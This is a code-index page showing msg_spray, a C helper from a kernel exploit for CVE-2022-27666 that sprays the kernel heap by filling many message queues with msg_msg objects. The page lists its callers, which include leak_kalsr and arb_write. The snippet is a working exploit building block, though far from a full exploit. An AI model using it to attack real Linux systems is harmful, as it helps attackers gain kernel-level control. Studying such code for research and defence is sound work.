MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / msg_spray

Function msg_spray

CVE-2022-27666/exploit/exploit.c:185–202  ·  view source on GitHub ↗

create $num_msg message queue and each send $loop msg_msg

Source from the content-addressed store, hash-verified

183}
184// create $num_msg message queue and each send $loop msg_msg
185int msg_spray(int num_msg, int size, int loop) {
186 int i;
187#ifdef MSG_DEBUG
188 printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop);
189#endif
190
191 for (i = 0; i < num_msg; i++) {
192 if ((msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
193 perror("msgget");
194 exit(1);
195 }
196#ifdef MSG_DEBUG
197 printf("[*] msg_spray: msqid[%d]: %d\n", i, msqid[i]);
198#endif
199 sendmymsg(msqid[i], 0, loop, size);
200 }
201 return i;
202}
203// send $loop msg_msg (first 8 bytes == MSG_SPARY == 0x38)
204void sendmymsg(int _msqid, int start, int loop, int size)
205{

Callers 3

leak_kalsrFunction · 0.85
arb_writeFunction · 0.85
loopFunction · 0.85

Calls 1

sendmymsgFunction · 0.85

Tested by

no test coverage detected